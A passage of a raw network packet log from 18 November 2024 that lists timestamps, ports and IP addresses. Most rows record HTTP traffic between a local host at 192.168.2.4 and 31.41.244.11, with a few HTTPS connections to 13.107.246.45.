Nov 18, 2024 23:04:12.082482100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.082516909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.082541943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.082549095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.082570076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.082598925 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.083259106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.083292007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.083319902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.083338022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.083344936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.083379984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.083405972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.083425045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.084042072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.084075928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.084100962 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.084130049 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.084856987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.084891081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.084911108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.084924936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.084953070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.084979057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.085611105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.085645914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.085670948 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.085679054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.085696936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.085730076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.086345911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.086401939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.110754013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.110850096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.110898018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.110934973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.110964060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.110990047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.111620903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.111654997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.111675024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.111689091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.111699104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.111737013 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.112494946 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.112529993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.112555981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.112565041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.112580061 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.112605095 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.113060951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.113095045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.113120079 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.113128901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.113142014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.113179922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.114083052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.114119053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.114140987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.114151001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.114164114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.114186049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.114203930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.114242077 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.115117073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.115150928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.115175009 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.115184069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.115194082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.115242958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.116086006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.116121054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.116153955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.116163015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.116163015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.116189003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.116195917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.116244078 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.117033005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.117067099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.117095947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.117130995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.157767057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.157939911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.157943010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.157975912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.158104897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.198384047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.198438883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.198472023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.198506117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.198591948 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.198591948 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.198591948 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.199187994 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.199232101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.199269056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.199486017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.199520111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.199548960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.199582100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.199963093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.200021982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.200066090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.200124025 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.200303078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.200339079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.200357914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.200375080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.200380087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.200424910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.201036930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.201071024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.201091051 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.201105118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.201112032 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.201153994 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.201831102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.201886892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.201889992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.201921940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.201936007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.201956987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.201975107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.202003956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.202542067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.202591896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.202594995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.202630997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.202642918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.202683926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.203429937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.203464985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.203488111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.203499079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.203507900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.203547955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.204154015 CET	443	49814	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.204216957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.204267025 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.204271078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.204305887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.204319954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.204355955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.204356909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.204401970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.204725981 CET	49814	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.204782963 CET	443	49814	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.205178022 CET	49814	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.205192089 CET	443	49814	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.258812904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.258882999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.258917093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.259064913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.259064913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.259373903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.259407043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.259449959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.259466887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.259486914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.259546995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.260221004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.260253906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.260288000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.260288000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.260314941 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.260334969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.260335922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.260389090 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.261172056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.261207104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.261239052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.261272907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.261353970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.262183905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.262217999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.262249947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.262250900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.262270927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.262284040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.262290955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.262317896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.262331963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.262372017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.262943029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.262976885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.263000011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.263010025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.263019085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.263044119 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.263082981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.263082981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.277750969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.277868032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.277945042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.278110981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.278110981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.297887087 CET	443	49815	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.298394918 CET	49815	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.298480034 CET	443	49815	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.298825026 CET	49815	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.298844099 CET	443	49815	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.318336010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.318384886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.318419933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.318555117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.318555117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.318795919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.318833113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.318934917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.318934917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.319188118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.319252014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.319255114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.319308996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.319606066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.319663048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.319813013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.319871902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.319927931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.319962978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.319984913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.319998026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.320010900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.320055962 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.320561886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.320761919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.320796013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.320827961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.320830107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.320849895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.320866108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.320882082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.320921898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.321772099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.321808100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.321835995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.321841955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.321857929 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.321876049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.321896076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.321911097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.321919918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.321964979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.322710991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.322745085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.322762012 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.322777987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.322784901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.322813988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.322827101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.322849035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.322856903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.322892904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.323362112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.323398113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.323422909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.323436022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.323442936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.323471069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.323493958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.324295044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.324356079 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.336546898 CET	443	49814	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.336724043 CET	443	49814	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.336806059 CET	49814	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.336994886 CET	49814	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.336994886 CET	49814	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.337029934 CET	443	49814	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.337052107 CET	443	49814	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.339718103 CET	49819	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.339766979 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.339970112 CET	49819	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.340221882 CET	49819	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.340260983 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.350570917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.350754023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.350760937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.350785017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.350800991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.350841045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.350887060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.350940943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.378845930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.378998041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.379030943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.379066944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.379146099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.379146099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.379146099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.379419088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.379484892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.379539967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.379697084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.379713058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.379750967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.379776955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.379786015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.379801035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.379849911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.380225897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.380258083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.380292892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.380326986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.380378008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.380397081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.380397081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.380397081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.380397081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.380486965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.381115913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.381151915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.381177902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.381186962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.381202936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.381222963 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.381227016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.381258011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.381269932 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.381292105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.381316900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.381335974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.381947994 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.381982088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.382005930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.382010937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.382025003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.382046938 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.382055044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.382097960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.382179022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.397891998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.397944927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.398024082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.398082018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.398082018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.398082018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.430056095 CET	443	49815	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.430202961 CET	443	49815	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.430295944 CET	49815	443	192.168.2.4	13.107.246.45
